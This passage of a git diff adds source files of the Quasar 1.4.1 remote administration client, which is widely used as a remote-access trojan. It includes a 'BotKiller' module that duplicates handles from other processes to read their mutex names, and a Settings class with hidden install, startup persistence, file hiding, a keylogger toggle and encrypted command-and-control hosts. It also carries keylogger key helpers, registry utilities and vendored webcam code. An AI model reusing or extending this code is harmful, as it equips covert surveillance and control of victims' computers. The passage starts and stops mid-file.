m_ipProcessHwnd = IntPtr.Zero; + IntPtr ipHandle = IntPtr.Zero; + IntPtr ipBasic = IntPtr.Zero; + IntPtr ipObjectName = IntPtr.Zero; + + try + { + m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.DupHandle, false, process.Id); + if (m_ipProcessHwnd == IntPtr.Zero) + return null; + + if (!Win32API.DuplicateHandle(m_ipProcessHwnd, shHandle.Handle, Win32API.GetCurrentProcess(), out ipHandle, 0, false, Win32API.DUPLICATE_SAME_ACCESS)) + return null; + + Win32API.OBJECT_BASIC_INFORMATION objBasic = new Win32API.OBJECT_BASIC_INFORMATION(); + ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION))); + int nLength = 0; + + int result = Win32API.NtQueryObject(ipHandle, 0, ipBasic, Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)), ref nLength); + if (result != 0) + { + Marshal.FreeHGlobal(ipBasic); + return null; + } + + objBasic = (Win32API.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, typeof(Win32API.OBJECT_BASIC_INFORMATION)); + Marshal.FreeHGlobal(ipBasic); + ipBasic = IntPtr.Zero; + + if (objBasic.NameInformationLength <= 0 || objBasic.NameInformationLength > 65536) + return null; + + nLength = objBasic.NameInformationLength; + ipObjectName = Marshal.AllocHGlobal(nLength); + + // Try to query object name with retry limit + int retries = 0; + while ((result = Win32API.NtQueryObject(ipHandle, 1, ipObjectName, nLength, ref nLength)) == -1073741820 && retries < 3) + { + Marshal.FreeHGlobal(ipObjectName); + if (nLength <= 0 || nLength > 65536) + return null; + ipObjectName = Marshal.AllocHGlobal(nLength); + retries++; + } + + if (result != 0) + { + Marshal.FreeHGlobal(ipObjectName); + return null; + } + + Win32API.OBJECT_NAME_INFORMATION objObjectName = (Win32API.OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ipObjectName, typeof(Win32API.OBJECT_NAME_INFORMATION)); + + IntPtr ipTemp; + if (Is64Bits()) + ipTemp = new IntPtr(Convert.ToInt64(objObjectName.Name.Buffer.ToString(), 10) >> 32); + else + ipTemp = objObjectName.Name.Buffer; + + if (ipTemp != IntPtr.Zero && objObjectName.Name.Length > 0) + { + string name = Marshal.PtrToStringUni(ipTemp, objObjectName.Name.Length / 2); + Marshal.FreeHGlobal(ipObjectName); + ipObjectName = IntPtr.Zero; + + // Extract mutex name from full path + if (!string.IsNullOrEmpty(name) && name.Contains("\\")) + { + string[] parts = name.Split('\\'); + if (parts.Length > 4) + return parts[4]; + } + return name; + } + + if (ipObjectName != IntPtr.Zero) + Marshal.FreeHGlobal(ipObjectName); + } + catch { } + finally + { + if (ipBasic != IntPtr.Zero) + Marshal.FreeHGlobal(ipBasic); + if (ipObjectName != IntPtr.Zero) + Marshal.FreeHGlobal(ipObjectName); + if (ipHandle != IntPtr.Zero) + Win32API.CloseHandle(ipHandle); + if (m_ipProcessHwnd != IntPtr.Zero) + Win32API.CloseHandle(m_ipProcessHwnd); + } + + return null; + } + + private static bool Is64Bits() + { + return Marshal.SizeOf(typeof(IntPtr)) == 8; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs b/Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs new file mode 100755 index 0000000..52e10ee --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs @@ -0,0 +1,94 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Client.BotKiller +{ + public class Win32API + { + [DllImport("ntdll.dll")] + public static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength); + + [DllImport("ntdll.dll")] + public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); + + [DllImport("kernel32.dll")] + public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll")] + public static extern int CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll")] + public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, ushort hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("ntdll.dll")] + public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength); + + public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + public const int DUPLICATE_SAME_ACCESS = 2; + + [Flags] + public enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VMOperation = 0x00000008, + VMRead = 0x00000010, + VMWrite = 0x00000020, + DupHandle = 0x00000040, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + Synchronize = 0x00100000 + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_BASIC_INFORMATION + { + public int Attributes; + public int GrantedAccess; + public int HandleCount; + public int PointerCount; + public int PagedPoolUsage; + public int NonPagedPoolUsage; + public int Reserved1; + public int Reserved2; + public int Reserved3; + public int NameInformationLength; + public int TypeInformationLength; + public int SecurityDescriptorLength; + public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct OBJECT_NAME_INFORMATION + { + public UNICODE_STRING Name; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct SYSTEM_HANDLE_INFORMATION + { + public int ProcessID; + public byte ObjectTypeNumber; + public byte Flags; + public ushort Handle; + public int Object_Pointer; + public uint GrantedAccess; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Config/Settings.cs b/Quasar-1.4.1/Quasar.Client/Config/Settings.cs new file mode 100755 index 0000000..82cc48c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Config/Settings.cs @@ -0,0 +1,113 @@ +using Quasar.Common.Cryptography; +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Windows.Forms; + +namespace Quasar.Client.Config +{ + /// + /// Stores the configuration of the client. + /// + public static class Settings + { +#if DEBUG + public static string VERSION = Application.ProductVersion; + public static string HOSTS = "localhost:4782;"; + public static int RECONNECTDELAY = 500; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = "Test"; + public static string INSTALLNAME = "test.exe"; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; + public static string STARTUPKEY = "Test key"; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8"; + public static string TAG = "DEBUG"; + public static string LOGDIRECTORYNAME = "Logs"; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = true; + + public static bool Initialize() + { + SetupPaths(); + return true; + } +#else + public static string VERSION = ""; + public static string HOSTS = ""; + public static int RECONNECTDELAY = 5000; + public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData; + public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER); + public static string SUBDIRECTORY = ""; + public static string INSTALLNAME = ""; + public static bool INSTALL = false; + public static bool STARTUP = false; + public static string MUTEX = ""; + public static string STARTUPKEY = ""; + public static bool HIDEFILE = false; + public static bool ENABLELOGGER = false; + public static string ENCRYPTIONKEY = ""; + public static string TAG = ""; + public static string LOGDIRECTORYNAME = ""; + public static string SERVERSIGNATURE = ""; + public static string SERVERCERTIFICATESTR = ""; + public static X509Certificate2 SERVERCERTIFICATE; + public static bool HIDELOGDIRECTORY = false; + public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = ""; + public static bool UNATTENDEDMODE = false; + + public static bool Initialize() + { + if (string.IsNullOrEmpty(VERSION)) return false; + var aes = new Aes256(ENCRYPTIONKEY); + TAG = aes.Decrypt(TAG); + VERSION = aes.Decrypt(VERSION); + HOSTS = aes.Decrypt(HOSTS); + SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY); + INSTALLNAME = aes.Decrypt(INSTALLNAME); + MUTEX = aes.Decrypt(MUTEX); + STARTUPKEY = aes.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME); + SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE); + SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR))); + SetupPaths(); + return VerifyHash(); + } +#endif + + static void SetupPaths() + { + LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME); + INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME); + } + + static bool VerifyHash() + { + try + { + var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key; + return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"), + Convert.FromBase64String(SERVERSIGNATURE)); + + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs b/Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs new file mode 100755 index 0000000..9f6c5e0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs @@ -0,0 +1,59 @@ +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace Quasar.Client.Extensions +{ + public static class KeyExtensions + { + public static bool ContainsModifierKeys(this List pressedKeys) + { + return pressedKeys.Any(x => x.IsModifierKey()); + } + + public static bool IsModifierKey(this Keys key) + { + return (key == Keys.LControlKey + || key == Keys.RControlKey + || key == Keys.LMenu + || key == Keys.RMenu + || key == Keys.LWin + || key == Keys.RWin + || key == Keys.Control + || key == Keys.Alt); + } + + public static bool ContainsKeyChar(this List pressedKeys, char c) + { + return pressedKeys.Contains((Keys)char.ToUpper(c)); + } + + public static bool IsExcludedKey(this Keys k) + { + // The keys below are excluded. If it is one of the keys below, + // the KeyPress event will handle these characters. If the keys + // are not any of those specified below, we can continue. + return (k >= Keys.A && k <= Keys.Z + || k >= Keys.NumPad0 && k <= Keys.Divide + || k >= Keys.D0 && k <= Keys.D9 + || k >= Keys.Oem1 && k <= Keys.OemClear + || k >= Keys.LShiftKey && k <= Keys.RShiftKey + || k == Keys.CapsLock + || k == Keys.Space); + } + + public static string GetDisplayName(this Keys key) + { + string name = key.ToString(); + if (name.Contains("ControlKey")) + return "Control"; + else if (name.Contains("Menu")) + return "Alt"; + else if (name.Contains("Win")) + return "Win"; + else if (name.Contains("Shift")) + return "Shift"; + return name; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs new file mode 100755 index 0000000..072b5ae --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs @@ -0,0 +1,19 @@ +using Quasar.Client.Utilities; +using System.Diagnostics; +using System.Text; + +namespace Quasar.Client.Extensions +{ + public static class ProcessExtensions + { + public static string GetMainModuleFileName(this Process proc) + { + uint nChars = 260; + StringBuilder buffer = new StringBuilder((int)nChars); + + var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars); + + return success ? buffer.ToString() : null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs b/Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs new file mode 100755 index 0000000..37cd7b4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs @@ -0,0 +1,400 @@ +using Microsoft.Win32; +using Quasar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; + +namespace Quasar.Client.Extensions +{ + /// + /// Provides extensions for registry key and value operations. + /// + public static class RegistryKeyExtensions + { + /// + /// Determines if the registry key by the name provided is null or has the value of null. + /// + /// The name associated with the registry key. + /// The actual registry key. + /// True if the provided name is null or empty, or the key is null; False if otherwise. + private static bool IsNameOrValueNull(this string keyName, RegistryKey key) + { + return (string.IsNullOrEmpty(keyName) || (key == null)); + } + + /// + /// Attempts to get the string value of the key using the specified key name. This method assumes + /// correct input. + /// + /// The key of which we obtain the value of. + /// The name of the key. + /// The default value if value can not be determined. + /// Returns the value of the key using the specified key name. If unable to do so, + /// defaultValue will be returned instead. + public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "") + { + try + { + return key.GetValue(keyName, defaultValue).ToString(); + } + catch + { + return defaultValue; + } + } + + /// + /// Attempts to obtain a readonly (non-writable) sub key from the key provided using the + /// specified name. Exceptions thrown will be caught and will only return a null key. + /// This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, false); + } + catch + { + return null; + } + } + + /// + /// Attempts to obtain a writable sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is obtained from. + /// The name of the sub-key. + /// Returns the sub-key obtained from the key and name provided; Returns null if + /// unable to obtain a sub-key. + public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.OpenSubKey(name, true); + } + catch + { + return null; + } + } + + /// + /// Attempts to create a sub key from the key provided using the specified + /// name. This method assumes the caller will dispose of the key when done using it. + /// + /// The key of which the sub key is to be created from. + /// The name of the sub-key. + /// Returns the sub-key that was created for the key and name provided; Returns null if + /// unable to create a sub-key. + public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name) + { + try + { + return key.CreateSubKey(name); + } + catch + { + return null; + } + } + + /// + /// Attempts to delete a sub-key and its children from the key provided using the specified + /// name. + /// + /// The key of which the sub-key is to be deleted from. + /// The name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name) + { + try + { + key.DeleteSubKeyTree(name, true); + return true; + } + catch + { + return false; + } + } + + /* + * Derived and Adapted from drdandle's article, + * Copy and Rename Registry Keys at Code project. + * Copy and Rename Registry Keys (Post Date: November 11, 2006) + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This is a work that is not of the original. It + * has been modified to suit the needs of another + * application. + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * First Modified by StingRaptor on January 21, 2016 + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Original Source: + * http://www.codeproject.com/Articles/16343/Copy-and-Rename-Registry-Keys + */ + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The key of which the subkey is to be renamed from. + /// The old name of the sub-key. + /// The new name of the sub-key. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyKey(oldName, newName); + //Dispose of the old key + key.DeleteSubKeyTree(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteSubKeyTreeSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old subkey to a new subkey for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the subkey is to be deleted from. + /// The old name of the sub-key. + /// The new name of the sub-key. + public static void CopyKey(this RegistryKey key, string oldName, string newName) + { + //Create a new key + using (RegistryKey newKey = key.CreateSubKey(newName)) + { + //Open old key + using (RegistryKey oldKey = key.OpenSubKey(oldName, true)) + { + //Copy from old to new + RecursiveCopyKey(oldKey, newKey); + } + } + } + + /// + /// Attempts to rename a sub-key to the key provided using the specified old + /// name and new name. + /// + /// The source key to copy from. + /// The destination key to copy to. + private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey) + { + + //Copy all of the registry values + foreach (string valueName in sourceKey.GetValueNames()) + { + object valueObj = sourceKey.GetValue(valueName); + RegistryValueKind valueKind = sourceKey.GetValueKind(valueName); + destKey.SetValue(valueName, valueObj, valueKind); + } + + //Copy all of the subkeys + foreach (string subKeyName in sourceKey.GetSubKeyNames()) + { + using (RegistryKey sourceSubkey = sourceKey.OpenSubKey(subKeyName)) + { + using (RegistryKey destSubKey = destKey.CreateSubKey(subKeyName)) + { + //Recursive call to copy the sub key data + RecursiveCopyKey(sourceSubkey, destSubKey); + } + } + } + } + + /// + /// Attempts to set a registry value for the key provided using the specified + /// name, data and kind. If the registry value does not exist it will be created + /// + /// The key of which the value is to be set for. + /// The name of the value. + /// The data of the value + /// The value kind of the value + /// Returns true if the action succeeded, otherwise false. + public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind) + { + try + { + // handle type conversion + if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[])) + { + switch (kind) + { + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + data = ByteConverter.ToString((byte[]) data); + break; + case RegistryValueKind.DWord: + data = ByteConverter.ToUInt32((byte[]) data); + break; + case RegistryValueKind.QWord: + data = ByteConverter.ToUInt64((byte[]) data); + break; + case RegistryValueKind.MultiString: + data = ByteConverter.ToStringArray((byte[]) data); + break; + } + } + key.SetValue(name, data, kind); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to delete a registry value for the key provided using the specified + /// name. + /// + /// The key of which the value is to be delete from. + /// The name of the value. + /// Returns true if the action succeeded, otherwise false. + public static bool DeleteValueSafe(this RegistryKey key, string name) + { + try + { + key.DeleteValue(name); + return true; + } + catch + { + return false; + } + } + + /// + /// Attempts to rename a registry value to the key provided using the specified old + /// name and new name. + /// + /// The key of which the registry value is to be renamed from. + /// The old name of the registry value. + /// The new name of the registry value. + /// Returns true if the action succeeded, otherwise false. + public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName) + { + try + { + //Copy from old to new + key.CopyValue(oldName, newName); + //Dispose of the old value + key.DeleteValue(oldName); + return true; + } + catch + { + //Try to dispose of the newKey (The rename failed) + key.DeleteValueSafe(newName); + return false; + } + } + + /// + /// Attempts to copy a old registry value to a new registry value for the key + /// provided using the specified old name and new name. (throws exceptions) + /// + /// The key of which the registry value is to be copied. + /// The old name of the registry value. + /// The new name of the registry value. + public static void CopyValue(this RegistryKey key, string oldName, string newName) + { + RegistryValueKind valueKind = key.GetValueKind(oldName); + object valueData = key.GetValue(oldName); + + key.SetValue(newName, valueData, valueKind); + } + + /// + /// Checks if the specified subkey exists in the key + /// + /// The key of which to search. + /// The name of the sub-key to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsSubKey(this RegistryKey key, string name) + { + foreach (string subkey in key.GetSubKeyNames()) + { + if (subkey == name) + { + return true; + } + } + return false; + } + + /// + /// Checks if the specified registry value exists in the key + /// + /// The key of which to search. + /// The name of the registry value to find. + /// Returns true if the action succeeded, otherwise false. + public static bool ContainsValue(this RegistryKey key, string name) + { + foreach (string value in key.GetValueNames()) + { + if (value == name) + { + return true; + } + } + return false; + } + + /// + /// Gets all of the value names associated with the registry key and returns + /// formatted strings of the filtered values. + /// + /// The registry key of which the values are obtained. + /// Yield returns formatted strings of the key and the key value. + public static IEnumerable> GetKeyValues(this RegistryKey key) + { + if (key == null) yield break; + + foreach (var k in key.GetValueNames().Where(keyVal => !keyVal.IsNameOrValueNull(key)).Where(k => !string.IsNullOrEmpty(k))) + { + yield return new Tuple(k, key.GetValueSafe(k)); + } + } + + /// + /// Gets the default value for a given data type of a registry value. + /// + /// The data type of the registry value. + /// The default value for the given . + public static object GetDefault(this RegistryValueKind valueKind) + { + switch (valueKind) + { + case RegistryValueKind.Binary: + return new byte[] {}; + case RegistryValueKind.MultiString: + return new string[] {}; + case RegistryValueKind.DWord: + return 0; + case RegistryValueKind.QWord: + return (long)0; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + return ""; + default: + return null; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs new file mode 100755 index 0000000..8ab1f6c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs @@ -0,0 +1,67 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// The enumeration specifies a setting on a camera. + /// + public enum CameraControlProperty + { + /// + /// Pan control. + /// + Pan = 0, + /// + /// Tilt control. + /// + Tilt, + /// + /// Roll control. + /// + Roll, + /// + /// Zoom control. + /// + Zoom, + /// + /// Exposure control. + /// + Exposure, + /// + /// Iris control. + /// + Iris, + /// + /// Focus control. + /// + Focus + } + + /// + /// The enumeration defines whether a camera setting is controlled manually or automatically. + /// + [Flags] + public enum CameraControlFlags + { + /// + /// No control flag. + /// + None = 0x0, + /// + /// Auto control Flag. + /// + Auto = 0x0001, + /// + /// Manual control Flag. + /// + Manual = 0x0002 + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs new file mode 100755 index 0000000..c70e966 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs @@ -0,0 +1,193 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// DirectShow filter information. + /// + /// + public class FilterInfo : IComparable + { + /// + /// Filter name. + /// + public string Name { get; private set; } + + /// + /// Filters's moniker string. + /// + /// + public string MonikerString { get; private set; } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filters's moniker string. + /// + public FilterInfo( string monikerString ) + { + MonikerString = monikerString; + Name = GetName( monikerString ); + } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Filter's moniker object. + /// + internal FilterInfo( IMoniker moniker ) + { + MonikerString = GetMonikerString( moniker ); + Name = GetName( moniker ); + } + + /// + /// Compare the object with another instance of this class. + /// + /// + /// Object to compare with. + /// + /// A signed number indicating the relative values of this instance and value. + /// + public int CompareTo( object value ) + { + FilterInfo f = (FilterInfo) value; + + if ( f == null ) + return 1; + + return ( this.Name.CompareTo( f.Name ) ); + } + + /// + /// Create an instance of the filter. + /// + /// + /// Filter's moniker string. + /// + /// Returns filter's object, which implements IBaseFilter interface. + /// + /// The returned filter's object should be released using Marshal.ReleaseComObject(). + /// + public static object CreateFilter( string filterMoniker ) + { + // filter's object + object filterObject = null; + // bind context and moniker objects + IBindCtx bindCtx = null; + IMoniker moniker = null; + + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 ) + { + // get device base filter + Guid filterId = typeof( IBaseFilter ).GUID; + moniker.BindToObject( null, null, ref filterId, out filterObject ); + + Marshal.ReleaseComObject( moniker ); + } + Marshal.ReleaseComObject( bindCtx ); + } + return filterObject; + } + + // + // Get moniker string of the moniker + // + private string GetMonikerString( IMoniker moniker ) + { + string str; + moniker.GetDisplayName( null, null, out str ); + return str; + } + + // + // Get filter name represented by the moniker + // + private string GetName( IMoniker moniker ) + { + Object bagObj = null; + IPropertyBag bag = null; + + try + { + Guid bagId = typeof( IPropertyBag ).GUID; + // get property bag of the moniker + moniker.BindToStorage( null, null, ref bagId, out bagObj ); + bag = (IPropertyBag) bagObj; + + // read FriendlyName + object val = ""; + int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero ); + if ( hr != 0 ) + Marshal.ThrowExceptionForHR( hr ); + + // get it as string + string ret = (string) val; + if ( ( ret == null ) || ( ret.Length < 1 ) ) + throw new ApplicationException( ); + + return ret; + } + catch ( Exception ) + { + return ""; + } + finally + { + // release all COM objects + bag = null; + if ( bagObj != null ) + { + Marshal.ReleaseComObject( bagObj ); + bagObj = null; + } + } + } + + // + // Get filter name represented by the moniker string + // + private string GetName( string monikerString ) + { + IBindCtx bindCtx = null; + IMoniker moniker = null; + String name = ""; + int n = 0; + + // create bind context + if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 ) + { + // convert moniker`s string to a moniker + if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 ) + { + // get device name + name = GetName( moniker ); + + Marshal.ReleaseComObject( moniker ); + moniker = null; + } + Marshal.ReleaseComObject( bindCtx ); + bindCtx = null; + } + return name; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs new file mode 100755 index 0000000..dabd30d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs @@ -0,0 +1,138 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow +{ + using System; + using System.Collections; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + using AForge.Video.DirectShow.Internals; + + /// + /// Collection of filters' information objects. + /// + /// + /// The class allows to enumerate DirectShow filters of specified category. For + /// a list of categories see . + /// + /// Sample usage: + /// + /// // enumerate video devices + /// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice ); + /// // list devices + /// foreach ( FilterInfo device in videoDevices ) + /// { + /// // ... + /// } + /// + /// + /// + public class FilterInfoCollection : CollectionBase + { + /// + /// Initializes a new instance of the class. + /// + /// + /// Guid of DirectShow filter category. See . + /// + /// Build collection of filters' information objects for the + /// specified filter category. + /// + public FilterInfoCollection( Guid category ) + { + CollectFilters( category ); + } + + /// + /// Get filter information object. + /// + /// + /// Index of filter information object to retrieve. + /// + /// Filter information object. + /// + public FilterInfo this[int index] + { + get + { + return ( (FilterInfo) InnerList[index] ); + } + } + + // Collect filters of specified category + private void CollectFilters( Guid category ) + { + object comObj = null; + ICreateDevEnum enumDev = null; + IEnumMoniker enumMon = null; + IMoniker[] devMon = new IMoniker[1]; + int hr; + + try + { + // Get the system device enumerator + Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum ); + if ( srvType == null ) + throw new ApplicationException( "Failed creating device enumerator" ); + + // create device enumerator + comObj = Activator.CreateInstance( srvType ); + enumDev = (ICreateDevEnum) comObj; + + // Create an enumerator to find filters of specified category + hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 ); + if ( hr != 0 ) + throw new ApplicationException( "No devices of the category" ); + + // Collect all filters + IntPtr n = IntPtr.Zero; + while ( true ) + { + // Get next filter + hr = enumMon.Next( 1, devMon, n ); + if ( ( hr != 0 ) || ( devMon[0] == null ) ) + break; + + // Add the filter + FilterInfo filter = new FilterInfo( devMon[0] ); + InnerList.Add( filter ); + + // Release COM object + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + + // Sort the collection + InnerList.Sort( ); + } + catch + { + } + finally + { + // release all COM objects + enumDev = null; + if ( comObj != null ) + { + Marshal.ReleaseComObject( comObj ); + comObj = null; + } + if ( enumMon != null ) + { + Marshal.ReleaseComObject( enumMon ); + enumMon = null; + } + if ( devMon[0] != null ) + { + Marshal.ReleaseComObject( devMon[0] ); + devMon[0] = null; + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs new file mode 100755 index 0000000..c207797 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs @@ -0,0 +1,81 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment, + /// or shutter speed. To obtain 